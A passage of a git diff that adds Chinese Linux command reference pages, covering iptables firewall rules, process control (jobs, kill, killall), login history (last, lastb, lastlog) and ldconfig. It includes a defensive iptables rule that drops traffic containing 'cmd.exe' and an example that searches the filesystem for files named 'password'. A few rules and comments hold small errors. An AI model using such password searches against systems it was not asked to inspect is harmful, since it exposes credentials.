允许机房内网机器可以访问 +iptables -A INPUT -p all -s 192.168.140.0/24 -j ACCEPT # 允许机房内网机器可以访问 +iptables -A INPUT -p tcp -s 183.121.3.7 --dport 3380 -j ACCEPT # 允许183.121.3.7访问本机的3380端口 +``` + +#### 开启相应的服务端口 + +```bash +iptables -A INPUT -p tcp --dport 80 -j ACCEPT # 开启80端口,因为web对外都是这个端口 +iptables -A INPUT -p icmp --icmp-type 8 -j ACCEPT # 允许被ping +iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 已经建立的连接得让它进来 +``` + +#### 保存规则到配置文件中 + +```bash +cp /etc/sysconfig/iptables /etc/sysconfig/iptables.bak # 任何改动之前先备份,请保持这一优秀的习惯 +iptables-save > /etc/sysconfig/iptables +cat /etc/sysconfig/iptables +``` + +#### 列出已设置的规则 + +> iptables -L [-t 表名] [链名] + +- 四个表名 `raw`,`nat`,`filter`,`mangle` +- 五个规则链名 `INPUT`、`OUTPUT`、`FORWARD`、`PREROUTING`、`POSTROUTING` +- filter表包含`INPUT`、`OUTPUT`、`FORWARD`三个规则链 + +```bash +iptables -L -t nat # 列出 nat 上面的所有规则 +# ^ -t 参数指定,必须是 raw, nat,filter,mangle 中的一个 +iptables -L -t nat --line-numbers # 规则带编号 +iptables -L INPUT + +iptables -L -nv # 查看,这个列表看起来更详细 +``` + +#### 清除已有规则 + +```bash +iptables -F INPUT # 清空指定链 INPUT 上面的所有规则 +iptables -X INPUT # 删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。 + # 如果没有指定链名,则会删除该表中所有非内置的链。 +iptables -Z INPUT # 把指定链,或者表中的所有链上的所有计数器清零。 +``` + +#### 删除已添加的规则 + +```bash +# 添加一条规则 +iptables -A INPUT -s 192.168.1.5 -j DROP +``` + +将所有iptables以序号标记显示,执行: + +``` +iptables -L -n --line-numbers +``` + +比如要删除INPUT里序号为8的规则,执行: + +```bash +iptables -D INPUT 8 +``` + +#### 开放指定的端口 + +``` +iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT #允许本地回环接口(即运行本机访问本机) +iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT #允许已建立的或相关连的通行 +iptables -A OUTPUT -j ACCEPT #允许所有本机向外的访问 +iptables -A INPUT -p tcp --dport 22 -j ACCEPT #允许访问22端口 +iptables -A INPUT -p tcp --dport 80 -j ACCEPT #允许访问80端口 +iptables -A INPUT -p tcp --dport 21 -j ACCEPT #允许ftp服务的21端口 +iptables -A INPUT -p tcp --dport 20 -j ACCEPT #允许FTP服务的20端口 +iptables -A INPUT -j reject #禁止其他未允许的规则访问 +iptables -A FORWARD -j REJECT #禁止其他未允许的规则访问 +``` + +#### 屏蔽IP + +``` +iptables -A INPUT -p tcp -m tcp -s 192.168.0.8 -j DROP # 屏蔽恶意主机(比如,192.168.0.8 +iptables -I INPUT -s 123.45.6.7 -j DROP #屏蔽单个IP的命令 +iptables -I INPUT -s 123.0.0.0/8 -j DROP #封整个段即从123.0.0.1到123.255.255.254的命令 +iptables -I INPUT -s 124.45.0.0/16 -j DROP #封IP段即从123.45.0.1到123.45.255.254的命令 +iptables -I INPUT -s 123.45.6.0/24 -j DROP #封IP段即从123.45.6.1到123.45.6.254的命令是 +``` + +#### 指定数据包出去的网络接口 + +只对 OUTPUT,FORWARD,POSTROUTING 三个链起作用。 + +```bash +iptables -A FORWARD -o eth0 +``` + +#### 查看已添加的规则 + +``` +iptables -L -n -v +Chain INPUT (policy DROP 48106 packets, 2690K bytes) + pkts bytes target prot opt in out source destination + 5075 589K ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 + 191K 90M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 +1499K 133M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80 +4364K 6351M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED + 6256 327K ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 + +Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) + pkts bytes target prot opt in out source destination + +Chain OUTPUT (policy ACCEPT 3382K packets, 1819M bytes) + pkts bytes target prot opt in out source destination + 5075 589K ACCEPT all -- * lo 0.0.0.0/0 0.0.0.0/0 +``` + +#### 启动网络转发规则 + +公网`210.14.67.7`让内网`192.168.188.0/24`上网 + +```bash +iptables -t nat -A POSTROUTING -s 192.168.188.0/24 -j SNAT --to-source 210.14.67.127 +``` + +#### 端口映射 + +本机的 2222 端口映射到内网 虚拟机的22 端口 + +```bash +iptables -t nat -A PREROUTING -d 210.14.67.127 -p tcp --dport 2222 -j DNAT --to-dest 192.168.188.115:22 +``` + +#### 字符串匹配 + +比如,我们要过滤所有TCP连接中的字符串`test`,一旦出现它我们就终止这个连接,我们可以这么做: + +```bash +iptables -A INPUT -p tcp -m string --algo kmp --string "test" -j REJECT --reject-with tcp-reset +iptables -L + +# Chain INPUT (policy ACCEPT) +# target prot opt source destination +# REJECT tcp -- anywhere anywhere STRING match "test" ALGO name kmp TO 65535 reject-with tcp-reset +# +# Chain FORWARD (policy ACCEPT) +# target prot opt source destination +# +# Chain OUTPUT (policy ACCEPT) +# target prot opt source destination +``` + +#### 阻止Windows蠕虫的攻击 + +```bash +iptables -I INPUT -j DROP -p tcp -s 0.0.0.0/0 -m string --algo kmp --string "cmd.exe" +``` + +#### 防止SYN洪水攻击 + +```bash +iptables -A INPUT -p tcp --syn -m limit --limit 5/second -j ACCEPT +``` + + + diff --git a/LearnShell/LinuxCommands/iptraf.md b/LearnShell/LinuxCommands/iptraf.md new file mode 100644 index 0000000..c345aa4 --- /dev/null +++ b/LearnShell/LinuxCommands/iptraf.md @@ -0,0 +1,32 @@ +iptraf +=== + +实时地监视网卡流量 + +## 补充说明 + +**iptraf命令** 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。 + +### 语法 + +``` +iptraf(选项) +``` + +### 选项 + +``` +-i网络接口:立即在指定网络接口上开启IP流量监视; +-g:立即开始生成网络接口的概要状态信息; +-d网络接口:在指定网络接口上立即开始监视明细的网络流量信息; +-s网络接口:在指定网络接口上立即开始监视TCP和UDP网络流量信息; +-z网络接口:在指定网络接口上显示包计数; +-l网络接口:在指定网络接口上立即开始监视局域网工作站信息; +-t时间:指定iptraf指令监视的时间; +-B;将标注输出重新定向到“/dev/null”,关闭标注输入,将程序作为后台进程运行; +-f:清空所有计数器; +-h:显示帮助信息。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/iptstate.md b/LearnShell/LinuxCommands/iptstate.md new file mode 100644 index 0000000..f464b0c --- /dev/null +++ b/LearnShell/LinuxCommands/iptstate.md @@ -0,0 +1,31 @@ +iptstate +=== + +显示iptables的工作状态 + +## 补充说明 + +**iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。 + +### 语法 + +``` +iptstate(选项) +``` + +### 选项 + +``` +-b:指定输出信息的排序规则; +-d:不动态地改变窗口大小; +-f:过滤本地回送信息; +-l:将ip地址解析为域名; +-L:隐藏于DNS查询相关状态; +-r:指定刷新屏幕的频率; +-R:反序排列; +-s:单次运行模式; +-t:显示汇总信息。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ispell.md b/LearnShell/LinuxCommands/ispell.md new file mode 100644 index 0000000..abe184e --- /dev/null +++ b/LearnShell/LinuxCommands/ispell.md @@ -0,0 +1,21 @@ +ispell +=== + +检查文件中出现的拼写错误 + +## 补充说明 + +**ispell命令** 用于检查文件中出现的拼写错误。 + +### 语法 + +``` +ispell(参数) +``` + +### 参数 + +文件:指定要进行拼写检查的文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/jed.md b/LearnShell/LinuxCommands/jed.md new file mode 100644 index 0000000..a60debe --- /dev/null +++ b/LearnShell/LinuxCommands/jed.md @@ -0,0 +1,70 @@ +jed +=== + +主要用于编辑代码的编辑器 + +## 补充说明 + +**jed命令** 是由Slang所开发,其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示,可以模拟emacs,EDT,wordstar和Brief编辑器。 + +### 语法 + +``` +jed(选项)(参数) +``` + +### 选项 + +``` +-2:显示上下两个编辑区; +-batch:以批处理模式来执行; +-f<函数>:执行Slang函数; +-g<行数>:移到缓冲区中指定的行数; +-i<文件>:将指定的文件载入缓冲区; +-n:不要载入jed.rc配置文件; +-s<字符串>:查找并移到指定的字符串。 +``` + +### 参数 + +文件:指定待编辑的文件列表。 + +### 实例 + +以上下两个编辑区的方式,开启 mysource.c 原始代码文件。若要切换编辑区,可利用稍后介绍的命令,开启操作命令,开启功能表后,按 3 ,再按 2 ,即可切换编辑区: + +``` +jed -2 mysource.c +``` + + **操作** + +有些Emacs的组合键和jed菜单组合键冲突例如Alt+f在Emacs中应该是“前进一个单词”,而在jed中则是“文件菜单” 想使用Emacs风格的组合键的话,编辑`/usr/share/jed/lib/menus.slc`找到如下段落: + +``` +unsetsetkey ("selectmenubar", "\em"); +unsetsetkey ("@\emF", "\ef"); +unsetsetkey ("@\emE", "\ee"); +unsetsetkey ("@\emo", "\eo"); +% Mode menu unsetsetkey ("@\emS", "\es"); +unsetsetkey ("@\emB", "\eb"); +unsetsetkey ("@\emi", "\ei"); +unsetsetkey ("@\emH", "\eh"); +unset_setkey ("@\emy", "\ey"); +``` + +可以根据自己的需要修改,也可以简单的注释掉;使用菜单可以用F10键。 + +由于Jed可模拟多种编辑器,其各自按键指令也有所不同。这里以模拟 Emacs 为例,说明在编辑器中的操作方法。 + + **文件** + +``` +/usr/share/jed/lib/*.sl 这是默认的运行jed slang的文件。 +/usr/share/jed/lib/site.sl 这是默认的启动文件。 +/etc/jed.rc 这是全局系统配置文件。 +~/.jedrc 这是用户配置文件。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/jobs.md b/LearnShell/LinuxCommands/jobs.md new file mode 100644 index 0000000..c6db410 --- /dev/null +++ b/LearnShell/LinuxCommands/jobs.md @@ -0,0 +1,51 @@ +jobs +=== + +显示Linux中的任务列表及任务状态 + +## 补充说明 + +**jobs命令** 用于显示Linux中的任务列表及任务状态,包括后台运行的任务。该命令可以显示任务号及其对应的进程号。其中,任务号是以普通用户的角度进行的,而进程号则是从系统管理员的角度来看的。一个任务可以对应于一个或者多个进程号。 + +在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 + +### 语法 + +``` +jobs(选项)(参数) +``` + +### 选项 + +``` +-l:显示进程号; +-p:仅任务对应的显示进程号; +-n:显示任务状态的变化; +-r:仅输出运行状态(running)的任务; +-s:仅输出停止状态(stoped)的任务。 +``` + +### 参数 + +任务标识号:指定要显示的任务识别号。 + +### 实例 + +使用jobs命令显示当前系统的任务列表,输入如下命令: + +``` +jobs -l #显示当前系统的任务列表 +``` + +上面的命令执行后,将显示出当前系统下的任务列表信息,具体如下所示: + +``` +[1] + 1903 运行中 find / -name password & +``` + +注意:要得到以上输出信息,必须在执行jobs命令之前执行命令`find / -name password &`。否则,执行jobs命令不会显示任何信息。 + +其中,输出信息的第一列表示任务编号,第二列表示任务所对应的进程号,第三列表示任务的运行状态,第四列表示启动任务的命令。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/joe.md b/LearnShell/LinuxCommands/joe.md new file mode 100644 index 0000000..2589bdc --- /dev/null +++ b/LearnShell/LinuxCommands/joe.md @@ -0,0 +1,48 @@ +joe +=== + +强大的纯文本编辑器 + +## 补充说明 + +**joe命令** 是一款功能强大的纯文本编辑器,拥有众多编写程序和文本的优良特性。 + +### 语法 + +``` +joe(选项)(参数) +``` + +### 选项 + +``` +-force:强制在最后一行的结尾处加上换行符号; +-lines<行数>:设置行数; +-lightoff:选取的区块在执行完区块命令后,就会恢复成原来的状态; +-autoindent:自动缩排; +-backpath:<目录>:指定备份文件的目录; +-beep:编辑时,若有错误即发出哔声; +-columns<栏位>:设置栏数; +-csmode:可执行连续查找模式; +-dopadding:是程序跟tty间存在缓冲区; +-exask:在程序中,执行“Ctrl+k+x”时,会先确认是否要保存文件; +-force:强制在最后一行的结尾处加上换行符号; +-help:执行程序时一并显示帮助; +-keepup:在进入程序后,画面上方为状态列; +-marking:在选取区块时,反白区块会随着光标移动; +-mid:当光标移出画面时,即自动卷页,使光标回到中央; +-nobackups:不建立备份文件; +-nonotice:程序执行时,不显示版本信息; +-nosta:程序执行时,不显示状态列; +-noxon:尝试取消“Ctrl+s”和“Ctrl+q”键的功能; +-orphan:若同时开启一个以上的文件,则其他文件会置于独立的缓冲区,而不会另外开启编辑区; +-pg<行数>:按“PageUp”或“PageDown”换页时,所要保留前一页的行数; +-skiptop<行数>:不使用屏幕上方指定的行数。 +``` + +### 参数 + +文件:指定要编辑的文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/join.md b/LearnShell/LinuxCommands/join.md new file mode 100644 index 0000000..bc0a215 --- /dev/null +++ b/LearnShell/LinuxCommands/join.md @@ -0,0 +1,35 @@ +join +=== + +两个文件中指定栏位内容相同的行连接起来 + +## 补充说明 + +**join命令** 用来将两个文件中,制定栏位内容相同的行连接起来。找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。 + +### 语法 + +``` +join(选项)(参数) +``` + +### 选项 + +``` +-a<1或2>:除了显示原来的输出内容之外,还显示指令文件中没有相同栏位的行; +-e<字符串>:若[文件1]与[文件2]中找不到指定的栏位,则在输出中填入选项中的字符串; +-i或--ignore-case:比较栏位内容时,忽略大小写的差异; +-o<格式>:按照指定的格式来显示结果; +-t<字符>:使用栏位的分割字符; +-v<1或2>:更-a相同,但是只显示文件中没有相同栏位的行; +-1<栏位>:连接[文件1]指定的栏位; +-2<栏位>:连接[文件2]指定的栏位。 +``` + +### 参数 + +* 文件1:要进行合并操作的第1个文件参数; +* 文件2:要进行合并操作的第2个文件参数。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/jwhois.md b/LearnShell/LinuxCommands/jwhois.md new file mode 100644 index 0000000..693d038 --- /dev/null +++ b/LearnShell/LinuxCommands/jwhois.md @@ -0,0 +1,62 @@ +jwhois +=== + +whois 客户端服务 + +## 补充说明 + +**jwhois** searches Whois servers for the object on the command line.The host to query is taken from a global configuration file, a configuration file specified on the command line, or selected directly on the command line. + +### 语法 + +``` +jwhois [选项] +``` + +### 选项 + +``` +--version display version number and patch level +--help display this help +-v, --verbose verbose debug output +-c FILE, --config=FILE use FILE as configuration file +-h HOST, --host=HOST explicitly query HOST +-n, --no-redirect disable content redirection +-s, --no-whoisservers disable whois-servers.net service support +-a, --raw disable reformatting of the query +-i, --display-redirections display all redirects instead of hiding them +-p PORT, --port=PORT use port number PORT (in conjunction with HOST) +-r, --rwhois force an rwhois query to be made +--rwhois-display=DISPLAY sets the display option in rwhois queries +--rwhois-limit=LIMIT sets the maximum number of matches to return +``` + +> 注:以上英文部分寻求网友协助翻译,翻译结果可发送至 sa(at)linuxde.net,谢谢! + +### 实例 + +显示指定用户信息: + +``` +# jwhois root + +//查找root用户信息 +``` + +查询域名信息: + +``` +[root@localhost ~]# jwhois linuxde.net +[Querying whois.verisign-grs.com] +[Redirected to whois.west263.com] +[Querying whois.west263.com] +[whois.west263.com] +Domain Name: linuxde.net                    +Registry Domain id: whois protect +Registrar WHOIS Server: whois.west263.com + +...省略部分内容 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/kernelversion.md b/LearnShell/LinuxCommands/kernelversion.md new file mode 100644 index 0000000..bbebe34 --- /dev/null +++ b/LearnShell/LinuxCommands/kernelversion.md @@ -0,0 +1,17 @@ +kernelversion +=== + +打印当前内核的主版本号 + +## 补充说明 + +**kernelversion命令** 用于打印当前内核的主版本号。 + +### 语法 + +``` +kernelversion +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/kexec.md b/LearnShell/LinuxCommands/kexec.md new file mode 100644 index 0000000..567afb5 --- /dev/null +++ b/LearnShell/LinuxCommands/kexec.md @@ -0,0 +1,29 @@ +kexec +=== + +从当前正在运行的内核引导到一个新内核 + +## 补充说明 + +**kexec命令** 是Linux内核的一个补丁,让您可以从当前正在运行的内核直接引导到一个新内核。在上面描述的引导序列中,kexec跳过了整个引导装载程序阶段(第一部分)并直接跳转到我们希望引导到的内核。不再有硬件的重启,不再有固件操作,不再涉及引导装载程序。完全避开了引导序列中最弱的一环 -- 固件。这一功能部件带来的最大益处在于,系统现在可以极其快速地重新启动。 + + **kexec的好处:** 要求高可用性的系统,以及需要不断重新启动系统的内核开发人员,都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分(也就是固件初始化硬件设备的阶段),所以重新启动变得非常快,可用性得到了提高。 + +### 语法 + +``` +kexec(选项) +``` + +### 选项 + +``` +-l:指定内核映像文件; +-e:允许当前被加载的内核; +-f:强制立即调用系统调用“kexec”,而不调用“shutdown”; +-t:指定新内核的类型; +-u:卸载当前的kexec目标内核。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/kill.md b/LearnShell/LinuxCommands/kill.md new file mode 100644 index 0000000..d845ee0 --- /dev/null +++ b/LearnShell/LinuxCommands/kill.md @@ -0,0 +1,79 @@ +kill +=== + +删除执行中的程序或工作 + +## 补充说明 + +**kill命令** 用来删除执行中的程序或工作。kill可将指定的信息送至程序。预设的信息为SIGTERM(15),可将指定程序终止。若仍无法终止该程序,可使用SIGKILL(9)信息尝试强制删除程序。程序或工作的编号可利用ps指令或job指令查看。 + +### 语法 + +``` +kill(选项)(参数) +``` + +### 选项 + +``` +-a:当处理当前进程时,不限制命令名和进程号的对应关系; +-l <信息编号>:若不加<信息编号>选项,则-l参数会列出全部的信息名称; +-p:指定kill 命令只打印相关进程的进程号,而不发送任何信号; +-s <信息名称或编号>:指定要送出的信息; +-u:指定用户。 +``` + +### 参数 + +进程或作业识别号:指定要删除的进程或作业。 + +### 实例 + +列出所有信号名称: + +``` + kill -l + 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL + 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE + 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 +13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT +17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP +21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU +25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH +29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN +35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4 +39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8 +43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 +47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 +51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10 +55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6 +59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 +63) SIGRTMAX-1 64) SIGRTMAX +``` + +只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略, **下面是常用的信号:** + +``` +HUP 1 终端断线 +INT 2 中断(同 Ctrl + C) +QUIT 3 退出(同 Ctrl + \) +TERM 15 终止 +KILL 9 强制终止 +CONT 18 继续(与STOP相反, fg/bg命令) +STOP 19 暂停(同 Ctrl + Z) +``` + +先用ps查找进程,然后用kill杀掉: + +``` +ps -ef | grep vim +root 3268 2884 0 16:21 pts/1 00:00:00 vim install.log +root 3370 2822 0 16:21 pts/0 00:00:00 grep vim + +kill 3268 +kill 3268 +-bash: kill: (3268) - 没有那个进程 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/killall.md b/LearnShell/LinuxCommands/killall.md new file mode 100644 index 0000000..ea8425b --- /dev/null +++ b/LearnShell/LinuxCommands/killall.md @@ -0,0 +1,43 @@ +killall +=== + +使用进程的名称来杀死一组进程 + +## 补充说明 + +**killall命令** 使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令。 + +### 语法 + +``` +killall(选项)(参数) +``` + +### 选项 + +``` +-e:对长名称进行精确匹配; +-l:忽略大小写的不同; +-p:杀死进程所属的进程组; +-i:交互式杀死进程,杀死进程前需要进行确认; +-l:打印所有已知信号列表; +-q:如果没有进程被杀死。则不输出任何信息; +-r:使用正规表达式匹配要杀死的进程名称; +-s:用指定的进程号代替默认信号“SIGTERM”; +-u:杀死指定用户的进程。 +``` + +### 参数 + +进程名称:指定要杀死的进程名称。 + +### 实例 + +杀死所有同名进程 + +``` +killall vi +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/last.md b/LearnShell/LinuxCommands/last.md new file mode 100644 index 0000000..4f07127 --- /dev/null +++ b/LearnShell/LinuxCommands/last.md @@ -0,0 +1,51 @@ +last +=== + +列出目前与过去登入系统的用户相关信息 + +## 补充说明 + +**last命令** 用于显示用户最近登录信息。单独执行last命令,它会读取`/var/log/wtmp`的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。 + +### 语法 + +``` +last(选项)(参数) +``` + +### 选项 + +``` +-a:把从何处登入系统的主机名称或ip地址,显示在最后一行; +-d:将IP地址转换成主机名称; +-f <记录文件>:指定记录文件。 +-n <显示列数>或-<显示列数>:设置列出名单的显示列数; +-R:不显示登入系统的主机名称或IP地址; +-x:显示系统关机,重新开机,以及执行等级的改变等信息。 +``` + +### 参数 + +* 用户名:显示用户登录列表; +* 终端:显示从指定终端的登录列表。 + +### 实例 + +last命令用了显示用户登录情况,以下是直接显示固定行数的记录: + +``` +last -10 +root pts/0 221.6.45.34 Tue Dec 17 09:40 still logged in +root pts/0 221.6.45.34 Mon Dec 16 09:00 - 11:57 (02:56) +root pts/0 222.94.97.122 Sun Dec 15 20:39 - 23:28 (02:48) +root pts/0 222.95.209.80 Sat Dec 14 14:39 - 14:58 (00:18) +root pts/0 221.6.45.34 Thu Dec 12 16:55 - 17:37 (00:41) +root pts/0 49.65.139.195 Wed Dec 11 20:40 - 21:16 (00:35) +root pts/0 49.65.139.195 Wed Dec 11 19:46 - 20:03 (00:17) +root pts/0 221.6.45.34 Tue Dec 10 14:41 - 15:52 (01:10) +root pts/0 221.6.45.34 Mon Dec 9 17:24 - 17:30 (00:06) +root pts/0 221.6.45.34 Mon Dec 9 09:38 - 11:41 (02:02) +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lastb.md b/LearnShell/LinuxCommands/lastb.md new file mode 100644 index 0000000..25e3f24 --- /dev/null +++ b/LearnShell/LinuxCommands/lastb.md @@ -0,0 +1,64 @@ +lastb +=== + +列出登入系统失败的用户相关信息 + +## 补充说明 + +**lastb命令** 用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于`/var/log`目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。 + +### 语法 + +``` +lastb(选项)(参数) +``` + +### 选项 + +``` +-a:把从何处登入系统的主机名称或ip地址显示在最后一行; +-d:将IP地址转换成主机名称; +-f<记录文件>:指定记录文件; +-n<显示列数>或-<显示列数>:设置列出名单的显示列数; +-R:不显示登入系统的主机名称或IP地址; +-x:显示系统关机,重新开机,以及执行等级的改变等信息。 +``` + +### 参数 + +* 用户名:显示中的用户的登录列表; +* 终端:显示从指定终端的登录列表。 + +### 实例 + +首次运行lastb命令会报下的错误: + +``` +lastb: /var/log/btmp: No such file or directory +Perhaps this file was removed by the operator to prevent logging lastb info. +``` + +只需建立这个不存在的文件即可。 + +``` +touch /var/log/btmp +``` + +使用ssh的登录失败不会记录在btmp文件中。 + +``` +lastb | head +root ssh:notty 110.84.129.3 Tue Dec 17 06:19 - 06:19 (00:00) +root ssh:notty 110.84.129.3 Tue Dec 17 04:05 - 04:05 (00:00) +root ssh:notty 110.84.129.3 Tue Dec 17 01:52 - 01:52 (00:00) +root ssh:notty 110.84.129.3 Mon Dec 16 23:38 - 23:38 (00:00) +leonob ssh:notty 222.211.85.18 Mon Dec 16 22:18 - 22:18 (00:00) +leonob ssh:notty 222.211.85.18 Mon Dec 16 22:18 - 22:18 (00:00) +root ssh:notty 110.84.129.3 Mon Dec 16 21:25 - 21:25 (00:00) +root ssh:notty 110.84.129.3 Mon Dec 16 19:12 - 19:12 (00:00) +root ssh:notty 110.84.129.3 Mon Dec 16 17:00 - 17:00 (00:00) +admin ssh:notty 129.171.193.99 Mon Dec 16 16:52 - 16:52 (00:00) +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lastlog.md b/LearnShell/LinuxCommands/lastlog.md new file mode 100644 index 0000000..b7ef613 --- /dev/null +++ b/LearnShell/LinuxCommands/lastlog.md @@ -0,0 +1,59 @@ +lastlog +=== + +显示系统中所有用户最近一次登录信息 + +## 补充说明 + +**lastlog命令** 用于显示系统中所有用户最近一次登录信息。 + +lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志`/var/log/lastlog`的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示` **Never logged** `。注意需要以root身份运行该命令。 + +### 语法 + +``` +lastlog(选项) +``` + +### 选项 + +``` +-b<天数>:显示指定天数前的登录信息; +-h:显示召集令的帮助信息; +-t<天数>:显示指定天数以来的登录信息; +-u<用户名>:显示指定用户的最近登录信息。 +``` + +### 实例 + +``` +lastlog +Username Port From Latest +root pts/0 221.6.45.34 Tue Dec 17 09:40:48 +0800 2013 +bin **Never logged in** +daemon **Never logged in** +adm **Never logged in** +lp **Never logged in** +sync **Never logged in** +shutdown **Never logged in** +halt **Never logged in** +mail **Never logged in** +news **Never logged in** +uucp **Never logged in** +operator **Never logged in** +games **Never logged in** +gopher **Never logged in** +ftp **Never logged in** +nobody **Never logged in** +vcsa **Never logged in** +ntp **Never logged in** +sshd **Never logged in** +nscd **Never logged in** +ldap **Never logged in** +postfix **Never logged in** +www **Never logged in** +mysql **Never logged in** +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ld.md b/LearnShell/LinuxCommands/ld.md new file mode 100644 index 0000000..a26f53c --- /dev/null +++ b/LearnShell/LinuxCommands/ld.md @@ -0,0 +1,28 @@ +ld +=== + +将目标文件连接为可执行程序 + +## 补充说明 + +**ld命令** 是GNU的连接器,将目标文件连接为可执行程序。 + +### 语法 + +``` +ld(选项)(参数) +``` + +### 选项 + +``` +-o:指定输出文件名; +-e:指定程序的入口符号。 +``` + +### 参数 + +目标文件:指定需要连接的目标文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ldconfig.md b/LearnShell/LinuxCommands/ldconfig.md new file mode 100644 index 0000000..ff79755 --- /dev/null +++ b/LearnShell/LinuxCommands/ldconfig.md @@ -0,0 +1,46 @@ +ldconfig +=== + +动态链接库管理命令 + +## 补充说明 + +**ldconfig命令** 的用途主要是在默认搜寻目录`/lib`和`/usr/lib`以及动态库配置文件`/etc/ld.so.conf`内所列的目录下,搜索出可共享的动态链接库(格式如lib*.so*),进而创建出动态装入程序(ld.so)所需的连接和缓存文件。缓存文件默认为`/etc/ld.so.cache`,此文件保存已排好序的动态链接库名字列表,为了让动态链接库为系统所共享,需运行动态链接库的管理命令ldconfig,此执行程序存放在`/sbin`目录下。 + +ldconfig通常在系统启动时运行,而当用户安装了一个新的动态链接库时,就需要手工运行这个命令。 + +### 语法 + +``` +ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|--print-cache] [-c FORMAT] [--format=FORMAT] [-V] -?|--[help|--usage] path... +``` + +### 选项 + +``` +-v或--verbose:用此选项时,ldconfig将显示正在扫描的目录及搜索到的动态链接库,还有它所创建的连接的名字。 +-n:用此选项时,ldconfig仅扫描命令行指定的目录,不扫描默认目录(/lib、/usr/lib),也不扫描配置文件/etc/ld.so.conf所列的目录。 +-N:此选项指示ldconfig不重建缓存文件(/etc/ld.so.cache),若未用-X选项,ldconfig照常更新文件的连接。 +-X:此选项指示ldconfig不更新文件的连接,若未用-N选项,则缓存文件正常更新。 +-f CONF:此选项指定动态链接库的配置文件为CONF,系统默认为/etc/ld.so.conf。 +-C CACHE:此选项指定生成的缓存文件为CACHE,系统默认的是/etc/ld.so.cache,此文件存放已排好序的可共享的动态链接库的列表。 +-r ROOT:此选项改变应用程序的根目录为ROOT(是调用chroot函数实现的)。选择此项时,系统默认的配置文件/etc/ld.so.conf,实际对应的为ROOT/etc/ld.so.conf。如用-r /usr/zzz时,打开配置文件/etc/ld.so.conf时,实际打开的是/usr/zzz/etc/ld.so.conf文件。用此选项,可以大大增加动态链接库管理的灵活性。 +-l:通常情况下,ldconfig搜索动态链接库时将自动建立动态链接库的连接,选择此项时,将进入专家模式,需要手工设置连接,一般用户不用此项。 +-p或--print-cache:此选项指示ldconfig打印出当前缓存文件所保存的所有共享库的名字。 +-c FORMAT 或 --format=FORMAT:此选项用于指定缓存文件所使用的格式,共有三种:old(老格式),new(新格式)和compat(兼容格式,此为默认格式)。 